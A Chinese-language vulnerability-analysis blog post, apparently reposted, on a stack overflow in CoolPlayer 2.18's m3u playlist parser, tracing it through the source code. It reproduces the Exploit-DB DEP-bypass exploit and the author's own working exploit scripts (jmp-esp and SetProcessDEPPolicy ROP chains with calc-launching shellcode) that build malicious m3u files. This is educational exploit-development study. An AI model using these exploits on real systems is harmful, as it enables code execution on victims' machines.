内容简介:CoolPlayer 是一款MP3播放软件,功能丰富,界面美观,十年前就已经停止更新,但直至现在依然还有人在下载使用根据
环境搭建
CoolPlayer 是一款MP3播放软件,功能丰富,界面美观,十年前就已经停止更新,但直至现在依然还有人在下载使用
根据 exploitdb ,CoolPlayer 2.18在处理 m3u
文件时,存在栈溢出,并且可以绕过 DEP
执行代码。
根据 维基百科 对 m3u
文件的解释
M3U文件是一种纯文本文件,可以指定一个或多个多媒体文件的位置,其文件扩展名是“M3U”或者“m3u”。 M3U文件具有多个条目,每个条目的格式可以是以下几种格式之一: 一个绝对路径;比如:C:My MusicHeavysets.mp3 一个相对路径(相对于M3U文件的路径);比如:Heavysets.mp3 一个URL M3U文件也有注释,注释行以"#"字符开头,在扩展M3U文件中,"#"还引入了扩展M3U指令。 M3U文件的作用通常是创建指向在线流媒体的播放列表,创建的文件可以轻松访问流媒体。M3U文件通常作为网站的下载资源、通过email收发,并可以收听网络电台。 如果使用编辑器编辑M3U文件,必须将该文件用Windows-1252格式保存,这种格式是ASCII编码的超集。M3U文件也可以使用Latin-1字符编码。
简单点可以理解, m3u
是是一种存放文件列表的文本文件(理解这个,对下面的分析很重要)。
利用的 exploit
# Exploit Title: CoolPlayer 2.18 DEP Bypass # Date: January 2, 2011 # Author: Blake # Version: 2.18 # Tested on: Windows XP SP3 running in Virtualbox # Uses SetProcessDEPPolicy() to disable DEP for the process # Thanks to mr_me for the encouragement # Exploit-DB Notes: May not work on all Win XP SP3 machines print "n============================" print "CoolPlayer 2.18 DEP Bypass" print "Written by Blake" print "============================n" # windows/exec calc.exe 227 bytes - 240 bytes of shellcode space available shellcode =( "xdaxdaxd9x74x24xf4xbfxe7x18x22xfbx2bxc9xb1x33" "x5ex31x7ex17x83xeexfcx03x99x0bxc0x0ex99xc4x8d" "xf1x61x15xeex78x84x24x3cx1excdx15xf0x54x83x95" "x7bx38x37x2dx09x95x38x86xa4xc3x77x17x09xccxdb" "xdbx0bxb0x21x08xecx89xeax5dxedxcex16xadxbfx87" "x5dx1cx50xa3x23x9dx51x63x28x9dx29x06xeex6ax80" "x09x3exc2x9fx42xa6x68xc7x72xd7xbdx1bx4ex9exca" "xe8x24x21x1bx21xc4x10x63xeexfbx9dx6exeex3cx19" "x91x85x36x5ax2cx9ex8cx21xeax2bx11x81x79x8bxf1" "x30xadx4ax71x3ex1ax18xddx22x9dxcdx55x5ex16xf0" "xb9xd7x6cxd7x1dxbcx37x76x07x18x99x87x57xc4x46" "x22x13xe6x93x54x7ex6cx65xd4x04xc9x65xe6x06x79" "x0exd7x8dx16x49xe8x47x53xabx19x5ax49x3cx80x0f" "x30x20x33xfax76x5dxb0x0fx06x9axa8x65x03xe6x6e" "x95x79x77x1bx99x2ex78x0exfaxb1xeaxd2xd3x54x8b" "x71x2c") buffer = "x41" * 220 eip = "x28xb0x9fx7c" # POP ECX / RETN - SHELL32.DLL 7C9FB028 offset1 = "x42" * 4 nop = "x90" * 10 # put zero in EBX rop = "xddxadx9ex7c" # POP EBX / RETN - SHELL32.DLL 7C9EADDD rop += "xffxffxffxff" # placed into ebx rop += "xe1x27xc1x77" # INC EBX / RETN - MSVCRT.DLL 77C127E1 # set EBP to point to SetProcessDEPPolicy rop += "x7bxa6x9ex7c" # POP EBP / RETN - SHELL32.DLL 7C9EA67B rop += "xa4x22x86x7c" # address of SetProcessDEPPolicy XP SP3 # set EDI as a pointer to RET (rop nop) rop += "x47xebx9ex7c" # POP EDI / RETN - SHELL32.DLL 7C9EEB47 rop += "x08x15x9cx7c" # RETN - SHELL32.DLL 7C9C1508 # set ESI as a pointer to RET (rop nop) rop += "x4cx20x9cx7c" # POP ESI / RETN - SHELL32.DLL 7C9C204C rop += "x51x20x9cx7c" # RETN - SHELL32.DLL 7C9C2051 # set ESP to point at nops rop += "x73x10xa1x7c" # PUSHAD / RETN - SHELL32.DLL 7CA11073 print "[*] Creating malicious m3u file" try: file = open("exploit.m3u","w") file.write(buffer + eip + offset1 + rop + nop + shellcode) file.close() print "[*] File created" except: print "[x] Error creating file!" raw_input("nPress any key to exit...")
测试环境
windows cn xp sp3 windbg vc 6.0 immunity debugger/mona.py
漏洞分析
mona
生成匹配串,之后利用 windbg
直接跑,可以发现溢出出错了
但是这里有个很奇怪的一点,调用栈没用。无法根据调用栈回溯到出错位置。试了各种各样的办法,也确定了溢出长度为 260
,使用 264
长度的串,依然无法观察到。尝试查看所有线程的调用栈,看看是否能够发现什么
其中唯独有关的位置 image00400000+0xdbd6(40dbd6)
,利用 IDA
查看,依然也没有发现
由于分析经验不足,尝试了各种各样的方法,但是依然没有解决这个问题,找不到出错的位置。最后实在没有办法就想起了直接啃源码,这种比较笨拙的办法了。
源码分析
源码整体的框架
是使用 VC6.0
这种上古神器编译的,其实也就可以知道了,是可以绕过 DEP
的,这里暂时不谈。
main.c
结构
细看一下 WinMain
,是一个完整的 windows
消息处理程序,找到窗口处理过程,查看功能实现代码,其 WM_LBUTTONUP
实现了其窗口的各种功能,包括下一首,上一首,皮肤处理等等。
case WM_LBUTTONUP: { int teller; ReleaseCapture(); globals.main_bool_slider_keep_focus = FALSE; cursorpos = MAKEPOINTS(lParam); for (teller = PlaySwitch; teller <= ExitButton; teller++) { if (cursorpos.x >= Skin.Object[teller].x && cursorpos.y >= Skin.Object[teller].y && cursorpos.x <= Skin.Object[teller].x + Skin.Object[teller].w && cursorpos.y <= Skin.Object[teller].y + Skin.Object[teller].h) { switch (teller) { case PlaySwitch: main_play_control(ID_PLAY, hWnd); break; case PauseSwitch: main_play_control(ID_PAUSE, hWnd); break; case StopSwitch: main_play_control(ID_STOP, hWnd); break; case RepeatSwitch: main_play_control(ID_REPEAT, hWnd); break; case ShuffleSwitch: main_play_control(ID_SHUFFLE, hWnd); break; case EqSwitch: main_play_control(ID_EQUALIZER, hWnd); break; case PlaylistButton: main_play_control(ID_PLAYLIST, hWnd); break; case NextButton: main_play_control(ID_NEXT, hWnd); break; case PrevButton: main_play_control(ID_PREVIOUS, hWnd); break; case MinimizeButton: if (options.show_on_taskbar) ShowWindow(hWnd, SW_MINIMIZE); else ShowWindow(hWnd, SW_HIDE); break; case NextSkinButton: main_play_control(ID_LOADSKIN, hWnd); break; case ExitButton: DestroyWindow(hWnd); break; case EjectButton: main_play_control(ID_LOAD, hWnd); break; } } } // options.show_remaining_time time if (cursorpos.x >= Skin.Object[TimeText].x && cursorpos.y >= Skin.Object[TimeText].y && cursorpos.x <= (Skin.Object[TimeText].x + (Skin.Object[TimeText].w * 8)) && cursorpos.y <= (Skin.Object[TimeText].y + Skin.Object[TimeText].h)) { options.show_remaining_time = !options.show_remaining_time; main_draw_time(hWnd); break; } main_draw_controls_all(hWnd); break; }
跟我们最相关的是这里
case EjectButton: main_play_control(ID_LOAD, hWnd);
跟进查看 ID_LOAD
的处理代码
int main_play_control(WORD wParam, HWND hWnd) { ... case ID_LOAD: CPVERB_OpenFile(vaDoVerb, hWnd); break; ... }
继续跟进
void CPVERB_OpenFile(const CPe_VerbAction enAction, void* _pParam) { if (enAction == vaDoVerb) { if (playlist_open_file(TRUE)) CPL_PlayItem(globals.m_hPlaylist, TRUE, pmCurrentItem); } else if (enAction == vaQueryName) { CPs_VerbQueryName* pParam = (CPs_VerbQueryName*)_pParam; if (stricmp(pParam->m_pcName, "OpenFile") == 0) pParam->m_bNameMatched = TRUE; } }
其实联系上两步,可以发现 enAction == vaDoVerb
,因为 enAction
就是 vaDoVerb
跟进 playlist_open_file(TRUE)
int playlist_open_file(BOOL clearlist) { OPENFILENAME fn; char filefilter[] = "All Supported files*.mp1;*.mp2;*.mp3;*.m3u;*.pls;*.wav;*.ogg" "MPEG audio files (*.mp1;*.mp2;*.mp3)*.mp1;*.mp2;*.mp3" "Vorbis files (*.ogg)*.ogg" "Playlist files (*.m3u;*.pls)*.m3u;*.pls" "WAV files (*.wav)*.wav" "All Files (*.*)*.*"; ... returnval = GetOpenFileName(&fn); if (returnval != FALSE) { char *newfilename; char path_buffer[_MAX_PATH]; char path_buffer2[_MAX_PATH]; if (clearlist) CPL_Empty(globals.m_hPlaylist); strcpy(path_buffer, fn.lpstrFile); if (path_is_directory(fn.lpstrFile) == TRUE) { path_add_backslash(path_buffer); } else { path_remove_filespec(path_buffer); } strcpy(options.last_used_directory, path_buffer); newfilename = fn.lpstrFile + fn.nFileOffset; while (newfilename[0] != 0) { strcpy(path_buffer2, path_buffer); strcat(path_buffer2, newfilename); CPL_SyncLoadNextFile(globals.m_hPlaylist); CPL_AddFile(globals.m_hPlaylist, path_buffer2); newfilename = newfilename + strlen(newfilename) + 1; } return 1; } return 0; }
其主要的功能就是
- 设置可以打开的文件后缀白名单
- 获取打开的文件名
- 构建文件的绝对路径名
根据分析,函数 CPL_AddFile
会根据绝对路径名去处理文件,继续跟进。该函数首先会判断文件的类型,获取文件的大小,获取文件目录字符串长度等,再根据不同的类型进入不同的分支进行处理,而且还可以从网络上下载文件进行处理。从 1249
行去处理 m3u
文件。
void CPL_AddFile(CP_HPLAYLIST hPlaylist, const char* pcFilename) { ... // Check for known file types enFileType = CPL_GetFileType(pcFilename); ... // Get playlist file information iPlaylist_VolumeBytes = CPL_GetPathVolumeBytes(pcFilename); iPlaylist_DirectoryBytes = CPL_GetPathDirectoryBytes(pcFilename, iPlaylist_VolumeBytes); // 这里很重要!!!! ... // 开始处理m3u文件 // It's not a URL, so we will read the file from a local (UNC) resource hFile = CreateFile(pcFilename, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile != INVALID_HANDLE_VALUE) { const DWORD dwFileSize = GetFileSize(hFile, NULL); // We will only load playlists that are smaller than 256K if (dwFileSize < 0x40000) { // The plan is to load the entire file into a memblock and then split it into lines // and scan off the whitepace and add the items to the list pcPlaylistBuffer = (char *)malloc(dwFileSize + 1); ReadFile(hFile, pcPlaylistBuffer, dwFileSize, &dwBytesRead, NULL); // Read in the file line by line iLastLineStartIDX = 0; for (iCharIDX = 0; iCharIDX < dwFileSize + 1; iCharIDX++) { if ((pcPlaylistBuffer[iCharIDX] == 'r' || pcPlaylistBuffer[iCharIDX] == 'n' || iCharIDX == dwFileSize) && iLastLineStartIDX < iCharIDX) { char cBuffer[512]; // Is there a file on this line (strip whitespace from start) if (sscanf(pcPlaylistBuffer + iLastLineStartIDX, " %512[^rn]", cBuffer) == 1) { // Something has been read - ignore lines starting with # if (cBuffer[0] != '#') CPL_AddPrefixedFile(hPlaylist, cBuffer, NULL, pcFilename, iPlaylist_VolumeBytes, iPlaylist_DirectoryBytes); } // Set the line start for the next line if (pcPlaylistBuffer[iCharIDX + 1] == 'n') iCharIDX++; iLastLineStartIDX = iCharIDX + 1; } } free(pcPlaylistBuffer); } CloseHandle(hFile); }
其中 for
循环,根据列表文件,一次处理一行,由于代码量比较大,并且这块的处理逻辑很重要,我截一个图,再做一些标注,好方便理解。
跟进函数 CPL_AddPrefixedFile
void CPL_AddPrefixedFile(CP_HPLAYLIST hPlaylist, const char* pcFilename, const char* pcTitle, const char* pcPlaylistFile, const unsigned int iPlaylist_VolumeBytes, const unsigned int iPlaylist_DirBytes) { const unsigned int iFile_VolumeBytes = CPL_GetPathVolumeBytes(pcFilename); // If the file has volume information - add it as it is if (iFile_VolumeBytes) CPL_AddSingleFile(hPlaylist, pcFilename, pcTitle); // If the filename has a leading then add it prepended by the playlist's volume else if (pcFilename[0] == '\') { char cFullPath[MAX_PATH]; memcpy(cFullPath, pcPlaylistFile, iPlaylist_VolumeBytes); strcpy(cFullPath + iPlaylist_VolumeBytes, pcFilename + 1); CPL_AddSingleFile(hPlaylist, cFullPath, pcTitle); } // Add the filename prepended by the playlist's directory else { char cFullPath[MAX_PATH]; memcpy(cFullPath, pcPlaylistFile, iPlaylist_DirBytes); strcpy(cFullPath + iPlaylist_DirBytes, pcFilename); // 溢出位置 CPL_AddSingleFile(hPlaylist, cFullPath, pcTitle); } }
根据分析,最后执行的会是这里
char cFullPath[MAX_PATH]; memcpy(cFullPath, pcPlaylistFile, iPlaylist_DirBytes); strcpy(cFullPath + iPlaylist_DirBytes, pcFilename); CPL_AddSingleFile(hPlaylist, cFullPath, pcTitle);
首先定义绝对路径字符串, MAX_PATH
定义
#ifndef MAX_PATH #define MAX_PATH 1024 #endif
这里其实 windows
定义了 MAX_PATH
,值为 260
,具体可以参考 stackoverflow的讨论 ,从 ida
逆向代码也可以验证这个结果,这里也决定了最长长度只要超过 260
,肯定会导致溢出
第二步,复制目录长度大小的数据到数组中
这步很关键,我在测试中,会将测试的 m3u
放在很多不同的目录下,比如桌面,c盘,导致溢出长度不停的变化,我也没有理解为什么。从源码中,可以发现目录的长度是占用溢出字符空间的!这也就导致了不同目录长度, m3u
文件肯定不同。经过测试, m3u
文件放在c盘根目录,溢出长度正好是 260
。
第三步,将 pcFilename
利用 strcpy
复制到 cFullPath
中,而 cFullPath
是从函数 CPL_AddFile
中读取出来的 cBuffer
,也就是 m3u
中的每行数据。之后
void CPL_AddSingleFile(CP_HPLAYLIST hPlaylist, const char* pcPath, const char* pcTitle)
并不会改变 cFullPath
的数据,到这里栈溢出导致的漏洞原因分析清楚了。
漏洞利用
jmp esp
首先使用 msfvenom
生成 shellcode
root@kali32:~# msfvenom -a x86 --platform windows -p windows/exec cmd=calc -b "x00x0ax0d" -f python Found 11 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 284 (iteration=0) x86/shikata_ga_nai chosen with final size 284 Payload size: 220 bytes Final size of python file: 1366 bytes buf = "" buf += "xdbxdaxd9x74x24xf4xbfx2fx93x9dx5cx58x2b" buf += "xc9xb1x30x31x78x18x83xe8xfcx03x78x3bx71" buf += "x68xa0xabxf7x93x59x2bx98x1axbcx1ax98x79" buf += "xb4x0cx28x09x98xa0xc3x5fx09x33xa1x77x3e" buf += "xf4x0cxaex71x05x3cx92x10x85x3fxc7xf2xb4" buf += "x8fx1axf2xf1xf2xd7xa6xaax79x45x57xdfx34" buf += "x56xdcx93xd9xdex01x63xdbxcfx97xf8x82xcf" buf += "x16x2dxbfx59x01x32xfax10xbax80x70xa3x6a" buf += "xd9x79x08x53xd6x8bx50x93xd0x73x27xedx23" buf += "x09x30x2ax5exd5xb5xa9xf8x9ex6ex16xf9x73" buf += "xe8xddxf5x38x7exb9x19xbex53xb1x25x4bx52" buf += "x16xacx0fx71xb2xf5xd4x18xe3x53xbax25xf3" buf += "x3cx63x80x7fxd0x70xb9xddxbex87x4fx58x8c" buf += "x88x4fx63xa0xe0x7exe8x2fx76x7fx3bx14x88" buf += "x35x66x3cx01x90xf2x7dx4cx23x29x41x69xa0" buf += "xd8x39x8exb8xa8x3cxcax7ex40x4cx43xebx66" buf += "xe3x64x3ex05x62xf7xa2xca"
生成 exploit
dump = 'x41' * 260 EIP = 'x53x93xd2x77' #jmp esp address buf = "" buf += "xdbxdaxd9x74x24xf4xbfx2fx93x9dx5cx58x2b" buf += "xc9xb1x30x31x78x18x83xe8xfcx03x78x3bx71" buf += "x68xa0xabxf7x93x59x2bx98x1axbcx1ax98x79" buf += "xb4x0cx28x09x98xa0xc3x5fx09x33xa1x77x3e" buf += "xf4x0cxaex71x05x3cx92x10x85x3fxc7xf2xb4" buf += "x8fx1axf2xf1xf2xd7xa6xaax79x45x57xdfx34" buf += "x56xdcx93xd9xdex01x63xdbxcfx97xf8x82xcf" buf += "x16x2dxbfx59x01x32xfax10xbax80x70xa3x6a" buf += "xd9x79x08x53xd6x8bx50x93xd0x73x27xedx23" buf += "x09x30x2ax5exd5xb5xa9xf8x9ex6ex16xf9x73" buf += "xe8xddxf5x38x7exb9x19xbex53xb1x25x4bx52" buf += "x16xacx0fx71xb2xf5xd4x18xe3x53xbax25xf3" buf += "x3cx63x80x7fxd0x70xb9xddxbex87x4fx58x8c" buf += "x88x4fx63xa0xe0x7exe8x2fx76x7fx3bx14x88" buf += "x35x66x3cx01x90xf2x7dx4cx23x29x41x69xa0" buf += "xd8x39x8exb8xa8x3cxcax7ex40x4cx43xebx66" buf += "xe3x64x3ex05x62xf7xa2xca" fp = open("jmp_esp.m3u", "w") fp.write(dump + EIP + buf) fp.close()
放在c盘下,打开文件测试
shellcode
竟然崩了,用 windbg
检查
在返回前 40c9b6
设下断点,进入 shellcode
调试看看到底哪里出现了问题
shellcode
开始处代码
0:000> u esp <Unloaded_ud.drv>+0x122203: 00122204 dbda fcmovnu st,st(2) 00122206 d97424f4 fnstenv [esp-0Ch] 0012220a bf2f939d5c mov edi,5C9D932Fh 0012220f 58 pop eax 00122210 2bc9 sub ecx,ecx 00122212 b130 mov cl,30h 00122214 317818 xor dword ptr [eax+18h],edi 00122217 83e8fc sub eax,0FFFFFFFCh
继续调试
可以发现执行完 fnstenv [esp-0Ch]
,原先的 shellcode
指令已经被改写了。
继续执行,出错了
其实这里花了很长时间搞清楚到底怎么回事,因为 shellcode
是通过 msfvenom
生成的,正常情况下,不应该出现这样的问题。 shellcode
竟然将自己的代码空间栈改写了。经过长时间的搜索,发现了问题所在
在这本 书 里,提到了这个问题
大概的意思就是 fnstenv [esp-0Ch]
会改写从 esp-0ch
开始的 28
字节数据,所以为了保证从 esp
开始的数据不被重写,重新生成 exploit
文件
dump = 'x41' * 260 EIP = 'x53x93xd2x77' #jmp esp address buf = "" buf += "xdbxdaxd9x74x24xf4xbfx2fx93x9dx5cx58x2b" buf += "xc9xb1x30x31x78x18x83xe8xfcx03x78x3bx71" buf += "x68xa0xabxf7x93x59x2bx98x1axbcx1ax98x79" buf += "xb4x0cx28x09x98xa0xc3x5fx09x33xa1x77x3e" buf += "xf4x0cxaex71x05x3cx92x10x85x3fxc7xf2xb4" buf += "x8fx1axf2xf1xf2xd7xa6xaax79x45x57xdfx34" buf += "x56xdcx93xd9xdex01x63xdbxcfx97xf8x82xcf" buf += "x16x2dxbfx59x01x32xfax10xbax80x70xa3x6a" buf += "xd9x79x08x53xd6x8bx50x93xd0x73x27xedx23" buf += "x09x30x2ax5exd5xb5xa9xf8x9ex6ex16xf9x73" buf += "xe8xddxf5x38x7exb9x19xbex53xb1x25x4bx52" buf += "x16xacx0fx71xb2xf5xd4x18xe3x53xbax25xf3" buf += "x3cx63x80x7fxd0x70xb9xddxbex87x4fx58x8c" buf += "x88x4fx63xa0xe0x7exe8x2fx76x7fx3bx14x88" buf += "x35x66x3cx01x90xf2x7dx4cx23x29x41x69xa0" buf += "xd8x39x8exb8xa8x3cxcax7ex40x4cx43xebx66" buf += "xe3x64x3ex05x62xf7xa2xca" junk = 'x41' * 20 fp = open("jmp_esp.m3u", "w") fp.write(dump + EIP + junk + buf) fp.write(buf) fp.close()
成功弹窗
这里还有一点需要注意,如果有想使用 MessageBox
弹窗的,并且利用 msfvenom
生成 shellcode
,会造成弹窗失败
可以注意一下 payload
的长度为 284
字节,加上溢出长度 260
字节,总长度是 544
字节,查看源码
if(sscanf(pcPlaylistBuffer + iLastLineStartIDX, " %512[^rn]", cBuffer) == 1) <==== { // Something has been read - ignore lines starting with # if(cBuffer[0] != '#') CPL_AddPrefixedFile(hPlaylist, cBuffer, NULL, pcFilename, iPlaylist_VolumeBytes, iPlaylist_DirectoryBytes); }
可以看到 cBuffer
最大长度不会超过 512
,超过的话 shellcode
就会被截断。
测试一下
可以看到 shellcode
确实被截断了。
bypass DEP
利用 SetProcessDepProcy
绕过 DEP
#encoding:utf-8 import struct dump = 'x90' * 260 ROP = '' ROP += struct.pack('<L',0x7711ab55) # POP EBX / RET ROP += struct.pack('<L',0xFFFFFFFF) # PARAMETER 0x00000000 - 0x1 = 0xFFFFFFFF ROP += struct.pack('<L',0x5d184ec0) # INC EBX / RET ROP += struct.pack('<L',0x77119293) # POP EBP / RET ROP += struct.pack('<L',0x7C862144) # <- SetProcessDEPPolicy ROP += struct.pack('<L',0x77114aa1) # POP EDI / RET ROP += struct.pack('<L',0x77d148c0) # RET ROP += struct.pack('<L',0x77112362) # POP ESI / RET ROP += struct.pack('<L',0x77d148c0) # RET ROP += struct.pack('<L',0x77118cf7) # PUSHAD / RET buf = "xebx14x58xb2xbfx8ax18x32xdax88x18x40x81x38xfdxfdxfdxfdx75xf1xeb" buf += "x05xe8xe7xffxffxffx43xd7xd5xb5x87xa1xd7xdcx36x6exf0xd7x8dxcbx2e" buf += "xb3x34x4bx32xc1x4bx8cx64x08xbbx94x5cxd9x04x8cx8dxecxd7xcaxccxda" buf += "xcdxebx8cx6dxdbx34xe5x8fx34xf4xb3x34xf6xa3x34xb6x34xd6xb7x12x82" buf += "xd5xb5x87xa1xcaxbax2ax40xe8x47x2axdfx34xfax83x34xf3xbaxc7xbcx72" buf += "x34xe6x9fxbcx62x8cx40xf8x34x8bx04xbcx4ax26xb0x01xb9x85x7bxcbxb7" buf += "x7ex75xb8xbcx6fxf9x54x4ex84xebx9bxa3xcax5bx34xe6x9bxbcx62xd9x34" buf += "x83xc4x34xe6xa3xbcx62xbcx93x04x2axe0x14xe8xdex82xd5xb5x87xa1xca" buf += "x16x8cx64xecxd7xdbxddxd8xbfxd7xc8xd6xd1xd8x34x7bxecxefxefxecx40" buf += "xe8x43xecx40xe8x47xfdxfdxfdxfd" file = open("setdeppolicy_bypass.m3u","w") file.write(dump + ROP + buf) file.close()
其中 shellcode
是从网上找的看雪 wingdbg 版主的,因为利用 msfvenom
生成的各种 shellcodde
长度都过长,导致被截断
总结
shellcode
如果出错的话,分析起来会比较难,而且不容易发现出错点,但是感觉收获也会特别大。
由于能力有限,难免会有错误,欢迎批评指正,有改进也非常好。
参考
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 使用动态分析技术分析 Java
- 使用动态分析技术分析 Java
- 案例分析:如何进行需求分析?
- 深度分析ConcurrentHashMap原理分析
- 如何分析“数据分析师”的岗位?
- EOS源码分析(3)案例分析
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。